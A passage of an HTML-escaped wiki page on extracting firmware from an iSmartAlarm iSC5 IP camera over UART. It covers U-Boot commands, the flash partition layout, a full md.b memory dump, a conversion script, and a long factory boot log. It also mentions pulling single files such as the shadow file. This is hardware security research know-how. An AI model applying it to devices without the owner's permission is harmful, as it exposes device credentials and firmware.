&amp;lt;h6&amp;gt;Change Boot Delay&amp;lt;/h6&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Accessing the bootloder requires to press and hold any key while startign the device in order to enter the bootloader because the &amp;lt;code&amp;gt;bootdelay&amp;lt;/code&amp;gt; is set to 0. In order to change this, enter U-Boot as described before, then execute the following commands:&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Set Bootdelay&lt;br /&gt;
setenv bootdelay 5&lt;br /&gt;
# OR: Remove Bootdelay&lt;br /&gt;
# setenv bootdelay&lt;br /&gt;
&lt;br /&gt;
# Persists Configuration&lt;br /&gt;
saveenv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h6&amp;gt;Memory Dump&amp;lt;/h6&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; command can be used to display memory contents both as hexadecimal and ASCII data. ([http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd UBootCmdMd]) The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; method can be used to extract the firmware via UART, by dumping the complete or a distinct memory space. In the following the [[ISmartAlarm® ISC5 SPOT IP-Camera]] will be used as example using &amp;lt;code&amp;gt;screen&amp;lt;/code&amp;gt; to save the memory dump to a log file. In this example, &amp;lt;code&amp;gt;screen /dev/tty.usbserial-1410 115200&amp;lt;/code&amp;gt; was used to access the TTY and the &amp;lt;code&amp;gt;CTRL-a H&amp;lt;/code&amp;gt; (log) key binding has been used to start logging of the current window to the file &amp;quot;screenlog.n&amp;quot;. (See: &amp;lt;code&amp;gt;man screen&amp;lt;/code&amp;gt;). So, after the serial line and logging is ready, the memory layout must be identified. This is possible using the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;devinfo&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;printenv&amp;lt;/code&amp;gt; command (and more) if available or through identification of the chip and calculating the memory space based on the chip&#039;s capacity. Alternaively the mtdparts may be printed in the bootlogs or can be accessed if access to a Linux shell has already been acquired via &amp;lt;code&amp;gt;/proc/mtdparts&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;=&amp;gt; help md&lt;br /&gt;
md - memory display&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
md [.b, .w, .l] address [# of objects]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: ISmartAlarm® ISC5 SPOT IP-Camera - U-Boot commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sonix # version&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
&lt;br /&gt;
sonix # ?&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Layout&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;mem=64M&lt;br /&gt;
mtdparts=snx-spi:&lt;br /&gt;
768k(uboot)&lt;br /&gt;
3M(kernel)&lt;br /&gt;
7M(rootfs)&lt;br /&gt;
4M(rescue)&lt;br /&gt;
1M(etc)&lt;br /&gt;
256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
loadkernel 0x00007FFC 0x0;&lt;br /&gt;
bootm 0x00008000&lt;br /&gt;
&lt;br /&gt;
0x00000000,0x00000000 (u-logo)&lt;br /&gt;
0x00000000,0x00000FFF (hw-setting)&lt;br /&gt;
0x00001000,0x0005FFFF (u-boot)&lt;br /&gt;
0x00060000,0x0007EFFF (u-env)&lt;br /&gt;
0x0007F000,0x0007FFFF (flash-layout)&lt;br /&gt;
0x00080000,0x000BFFFF (factory)&lt;br /&gt;
0x000C0000,0x003BFFFF (kernel)&lt;br /&gt;
0x003C0000,0x00ABFFFF (rootfs-r)&lt;br /&gt;
0x00AC0000,0x00EBFFFF (rescue)&lt;br /&gt;
0x00EC0000,0x00FBFFFF (rootfs-rw)&lt;br /&gt;
0x00FC0000,0x00FFFFFF (user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example device uses an 64MB SOP8 SPI chip to store the firmware. Based on the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, the memory space is &amp;lt;code&amp;gt;0x00000000-0x00FFFFFF&amp;lt;/code&amp;gt;. this may be adapted to extract only a specific MTD partition. It is even possible to extract single files, like the shadow file, if the right memory address can be identified. It took 2 hours for extracting 64MB via UART. Additionnally, the device restarted automatically after 5min. This could be solved by monitoring the status and relaunching the memory dump from the last successfully received Byte. In any case, screenlog must be santized before continuing, by removing any additional text, which is not related to the actual memory dump. The actual command for extracting the whole memory is listed below. The &amp;lt;code&amp;gt;.b&amp;lt;/code&amp;gt; output format is required for the next step.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;=&amp;gt; md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Dump Extract&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;sonix # md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Check that the log does not any additional non-printable characters&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With this format, each line consits of 78 characters including the newline. This results in 78 Bytes transmitted, which effectivly represent only 16 Byte of Data, leading to an 80% overhead. It is obvious, that the the memory dump format is not usuable as is. The dump must be parse to get the original binary dump. For this [&lt;br /&gt;
https://github.com/gmbnomis/uboot-mdb-dump uboot-mdb-dump] script can be used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;python3 uboot_mdb_to_image.py &amp;lt; memory_dump.txt &amp;gt; memory_dump.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Bootlog (Factory Default)&amp;lt;/h5&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Spot - Smart Home Security Camera&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  0 &lt;br /&gt;
roofsr size = 0x63b070&lt;br /&gt;
## Booting kernel from Legacy Image at 00008000 ...&lt;br /&gt;
   Image Name:   Linux-2.6.35.12&lt;br /&gt;
   Image Type:   ARM Linux Kernel Image (uncompressed)&lt;br /&gt;
   Data Size:    2947968 Bytes = 2.8 MiB&lt;br /&gt;
   Load Address: 00008000&lt;br /&gt;
   Entry Point:  00008040&lt;br /&gt;
   Verifying Checksum ... OK&lt;br /&gt;
   XIP Kernel Image ... OK&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
Uncompressing Linux... done, booting the kernel.&lt;br /&gt;
Linux version 2.6.35.12 (fedora@localhost.localdomain) (gcc version 4.5.2 (SONiX GCC-4.5.2 Release 2011-12-06) ) #4 Tue Feb 14 21:56:47 PST 2017&lt;br /&gt;
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00057177&lt;br /&gt;
CPU: VIVT data cache, VIVT instruction cache&lt;br /&gt;
Machine: SONiX SN98600 Development Platform&lt;br /&gt;
Memory policy: ECC disabled, Data cache writeback&lt;br /&gt;
CPU: found ITCM 16k @ ffff4000, enabled&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Memory: 64MB = 64MB total&lt;br /&gt;
Memory: 40116k/40116k available, 25420k reserved, 0K highmem&lt;br /&gt;
Virtual kernel memory layout:&lt;br /&gt;
    vector  : 0xffff0000 - 0xffff1000   (   4 kB)&lt;br /&gt;
    fixmap  : 0xfff00000 - 0xfffe0000   ( 896 kB)&lt;br /&gt;
    DMA     : 0xffa00000 - 0xffe00000   (   4 MB)&lt;br /&gt;
    vmalloc : 0xc4800000 - 0xe0000000   ( 440 MB)&lt;br /&gt;
    lowmem  : 0xc0000000 - 0xc4000000   (  64 MB)&lt;br /&gt;
    modules : 0xbf000000 - 0xc0000000   (  16 MB)&lt;br /&gt;
      .init : 0xc0008000 - 0xc0024000   ( 112 kB)&lt;br /&gt;
      .text : 0xc0024000 - 0xc04be000   (4712 kB)&lt;br /&gt;
      .data : 0xc04dc000 - 0xc0505a80   ( 167 kB)&lt;br /&gt;
SLUB: Genslabs=11, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1&lt;br /&gt;
Hierarchical RCU implementation.&lt;br /&gt;
	RCU-based detection of stalled CPUs is disabled.&lt;br /&gt;
	Verbose stalled-CPUs detection is disabled.&lt;br /&gt;
NR_IRQS:96&lt;br /&gt;
Console: colour dummy device 80x30&lt;br /&gt;
console [ttyS0] enabled&lt;br /&gt;
Calibrating delay loop... 179.40 BogoMIPS (lpj=897024)&lt;br /&gt;
pid_max: default: 32768 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
CPU: Testing write buffer coherency: ok&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
0x00700000 bytes system memory reserved for isp device at 0x005b9000&lt;br /&gt;
0x00c00000 bytes system memory reserved for vc device at 0x00cb9000&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
SCSI subsystem initialized&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
Linux media interface: v0.10&lt;br /&gt;
Linux video capture interface: v2.00&lt;br /&gt;
Advanced Linux Sound Architecture Driver Version 1.0.23.&lt;br /&gt;
cfg80211: Calling CRDA to update world regulatory domain&lt;br /&gt;
Switching to clocksource ft_clocksource&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
UDP hash table entries: 256 (order: 0, 4096 bytes)&lt;br /&gt;
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
RPC: Registered udp transport module.&lt;br /&gt;
RPC: Registered tcp transport module.&lt;br /&gt;
RPC: Registered tcp NFSv4.1 backchannel transport module.&lt;br /&gt;
exFAT: Version 1.2.9&lt;br /&gt;
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.&lt;br /&gt;
fuse init (API version 7.14)&lt;br /&gt;
msgmni has been set to 78&lt;br /&gt;
async_tx: api initialized (async)&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
SONIX UART driver, (c) 2013 Sonix&lt;br /&gt;
snx_uart.0: ttyS0 at MMIO 0x98a00000 (irq = 8) is a SONiX&lt;br /&gt;
snx_uart.1: ttyS1 at MMIO 0x98b00000 (irq = 10) is a SONiX&lt;br /&gt;
brd: module loaded&lt;br /&gt;
loop: module loaded&lt;br /&gt;
6 cmdlinepart partitions found on MTD device snx-spi&lt;br /&gt;
Creating 6 MTD partitions on &amp;quot;snx-spi&amp;quot;:&lt;br /&gt;
0x000000000000-0x0000000c0000 : &amp;quot;uboot&amp;quot;&lt;br /&gt;
0x0000000c0000-0x0000003c0000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x0000003c0000-0x000000ac0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
0x000000ac0000-0x000000ec0000 : &amp;quot;rescue&amp;quot;&lt;br /&gt;
0x000000ec0000-0x000000fc0000 : &amp;quot;etc&amp;quot;&lt;br /&gt;
0x000000fc0000-0x000001000000 : &amp;quot;userconfig&amp;quot;&lt;br /&gt;
snx_spi_init register&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP Deflate Compression module registered&lt;br /&gt;
PPP BSD Compression module registered&lt;br /&gt;
SONiX Ethernet driver, (c) 2013 Sonix&lt;br /&gt;
eth0: Dropping NETIF_F_SG since no checksum feature.&lt;br /&gt;
snx_mac: SNX Ethernet MAC controller at 0x90500000 (irq = 17) 00:b0:27:08:90:14.&lt;br /&gt;
10 Mbps HalfDuplex (Auto Negotiation)&lt;br /&gt;
usbcore: registered new interface driver catc&lt;br /&gt;
catc: v2.8:CATC EL1210A NetMate USB Ethernet driver&lt;br /&gt;
usbcore: registered new interface driver r8152&lt;br /&gt;
usbcore: registered new interface driver zd1211rw&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
snx_ehci snx_ehci.0: snx_ehci&lt;br /&gt;
snx_ehci snx_ehci.0: new USB bus registered, assigned bus number 1&lt;br /&gt;
snx_ehci snx_ehci.0: irq 24, io mem 0x90800000&lt;br /&gt;
snx_ehci snx_ehci.0: USB 0.0 started, EHCI 0.96&lt;br /&gt;
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002&lt;br /&gt;
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1&lt;br /&gt;
usb usb1: Product: snx_ehci&lt;br /&gt;
usb usb1: Manufacturer: Linux 2.6.35.12 ehci_hcd&lt;br /&gt;
usb usb1: SerialNumber: sonix-ehci&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
Initializing USB Mass Storage driver...&lt;br /&gt;
usbcore: registered new interface driver usb-storage&lt;br /&gt;
USB Mass Storage support registered.&lt;br /&gt;
usbcore: registered new interface driver usbserial&lt;br /&gt;
USB Serial support registered for generic&lt;br /&gt;
usbcore: registered new interface driver usbserial_generic&lt;br /&gt;
usbserial: USB Serial Driver core&lt;br /&gt;
USB Serial support registered for GSM modem (1-port)&lt;br /&gt;
usbcore: registered new interface driver option&lt;br /&gt;
option: v0.7.2:USB Driver for GSM modems&lt;br /&gt;
USB Serial support registered for pl2303&lt;br /&gt;
usbcore: registered new interface driver pl2303&lt;br /&gt;
pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
mice: PS/2 mouse device common for all mice&lt;br /&gt;
i2c /dev entries driver&lt;br /&gt;
SONIX SNX I2C adapter driver, (c) 2012 Sonix&lt;br /&gt;
snx_i2c.0: SNX I2C0 controller at 0x98300000 (irq = 1)&lt;br /&gt;
snx_i2c.1: SNX I2C1 controller at 0x98400000 (irq = 2)&lt;br /&gt;
snx_hdma snx_hdma: SNX AHB DMA Controller (memcpy memset), 4 channels&lt;br /&gt;
SNX AHB DMA driver register&lt;br /&gt;
usbcore: registered new interface driver hiddev&lt;br /&gt;
usbcore: registered new interface driver usbhid&lt;br /&gt;
usbhid: USB HID core driver&lt;br /&gt;
usbcore: registered new interface driver snd-usb-audio&lt;br /&gt;
ALSA device list:&lt;br /&gt;
  No soundcards found.&lt;br /&gt;
IPv4 over IPv4 tunneling driver&lt;br /&gt;
GRE over IPv4 tunneling driver&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
lo: Disabled Privacy Extensions&lt;br /&gt;
tunl0: Disabled Privacy Extensions&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
sit0: Disabled Privacy Extensions&lt;br /&gt;
ip6tnl0: Disabled Privacy Extensions&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
lib80211: common routines for IEEE802.11 drivers&lt;br /&gt;
i2c_gpio i2c_gpio.2: using pins 16 (SDA) and 15 (SCL, no clock stretching)&lt;br /&gt;
VFS: Mounted root (cramfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing init memory: 112K&lt;br /&gt;
hub 1-0:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 1 chg 0002 evt 0000&lt;br /&gt;
hub 1-0:1.0: port 1, status 0501, change 0000, 480 Mb/s&lt;br /&gt;
Create device file&lt;br /&gt;
usb 1-1: new high speed USB device using snx_ehci and address 2&lt;br /&gt;
usb 1-1: New USB device found, idVendor=04b4, idProduct=6570&lt;br /&gt;
usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0&lt;br /&gt;
usb 1-1: Product: USB2.0 Hub&lt;br /&gt;
hub 1-1:1.0: USB hub found&lt;br /&gt;
hub 1-1:1.0: 4 ports detected&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0004 evt 0000&lt;br /&gt;
hub 1-1:1.0: port 2, status 0101, change 0000, 12 Mb/s&lt;br /&gt;
snx_crypto driver loaded.&lt;br /&gt;
sonix crypto diver register&lt;br /&gt;
sonix_nvram_init&lt;br /&gt;
Init nvram id: 1303281516&lt;br /&gt;
Init nvram_crc id: 0x6848&lt;br /&gt;
nvram_check crc = 6848 crc_ref = 6848&lt;br /&gt;
SONIX Kernel NVRAM initialized&lt;br /&gt;
&lt;br /&gt;
starting pid 516, tty &#039;&#039;: &#039;/usr/bin/pars_diff 10&#039;&lt;br /&gt;
remove only in etc size = 10 &lt;br /&gt;
2&lt;br /&gt;
1&lt;br /&gt;
run mode = 0,0&lt;br /&gt;
run in normal boot&lt;br /&gt;
VERSIZE = 64&lt;br /&gt;
 --- mtd status-&lt;br /&gt;
mtdblock2&lt;br /&gt;
now is run on _FWORI&lt;br /&gt;
usb 1-1.2: new high speed USB device using snx_ehci and address 3&lt;br /&gt;
usb 1-1.2: New USB device found, idVendor=0a5c, idProduct=bd1e&lt;br /&gt;
usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
usb 1-1.2: Product: Remote Download Wireless Adapter&lt;br /&gt;
usb 1-1.2: Manufacturer: Broadcom&lt;br /&gt;
usb 1-1.2: SerialNumber: 000000000001&lt;br /&gt;
6144+0 records in&lt;br /&gt;
6144+0 records out&lt;br /&gt;
3145728 bytes (3.0MB) copied, 1.663769 seconds, 1.8MB/s&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
kernel_size = 2cfbc0&lt;br /&gt;
/tmp/now_version&lt;br /&gt;
diff: can&#039;t stat &#039;/etc/SNIP39/SNIP39_VERSION.conf&#039;: No such file or directory&lt;br /&gt;
xxxxxx-No Need todo ETC Update-xxxxxx&lt;br /&gt;
&lt;br /&gt;
starting pid 534, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
Load drivers...&lt;br /&gt;
Sonix GPIO Driver&lt;br /&gt;
Load video drivers...&lt;br /&gt;
Load audio drivers...&lt;br /&gt;
snx_sd_initial:1011: SD initialisation done.&lt;br /&gt;
snx_sd_initial:1011: SD initialisation done.&lt;br /&gt;
version: 0.2&lt;br /&gt;
argv=-n&lt;br /&gt;
nvfn=/usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm&lt;br /&gt;
argv=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
fwfn=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
argv=-C&lt;br /&gt;
cnt=10&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbd1e&lt;br /&gt;
claiming interface 0&lt;br /&gt;
Found device: vend=0xa5c prod=0xbd1e&lt;br /&gt;
ID : Chip 0xa887 Rev 0x2 RamSize 458752 RemapBase 0x60000000 BoSNX_AUDIO: driver register.&lt;br /&gt;
ardType 0 BoardRev 0&lt;br /&gt;
Final fw_path=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
Final nv_path=/usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm&lt;br /&gt;
soc-camera-pdrv soc-camera-pdrv.0: Probing soc-camera-pdrv.0&lt;br /&gt;
SNX_SIGMA: adc submod driver init ok.&lt;br /&gt;
ar0330 stop streaming&lt;br /&gt;
ar0130 0-0030: ar0130 Product ID 2402&lt;br /&gt;
SNX_R2R: dac submod driver init ok.&lt;br /&gt;
File Length: 370020&lt;br /&gt;
start&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
rdl.state 0x4&lt;br /&gt;
elapsed download time 0.355542&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbd1e&lt;br /&gt;
No devices found&lt;br /&gt;
Error: usbdev_find ... cnt=0&lt;br /&gt;
&lt;br /&gt;
get max fps from IQ.bin is 0, set max fps to 30firmware: IQ.bin OK!&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
hub 1-1:1.0: port 2, status 0101, change 0001, 12 Mb/s&lt;br /&gt;
usb 1-1.2: USB disconnect, address 3&lt;br /&gt;
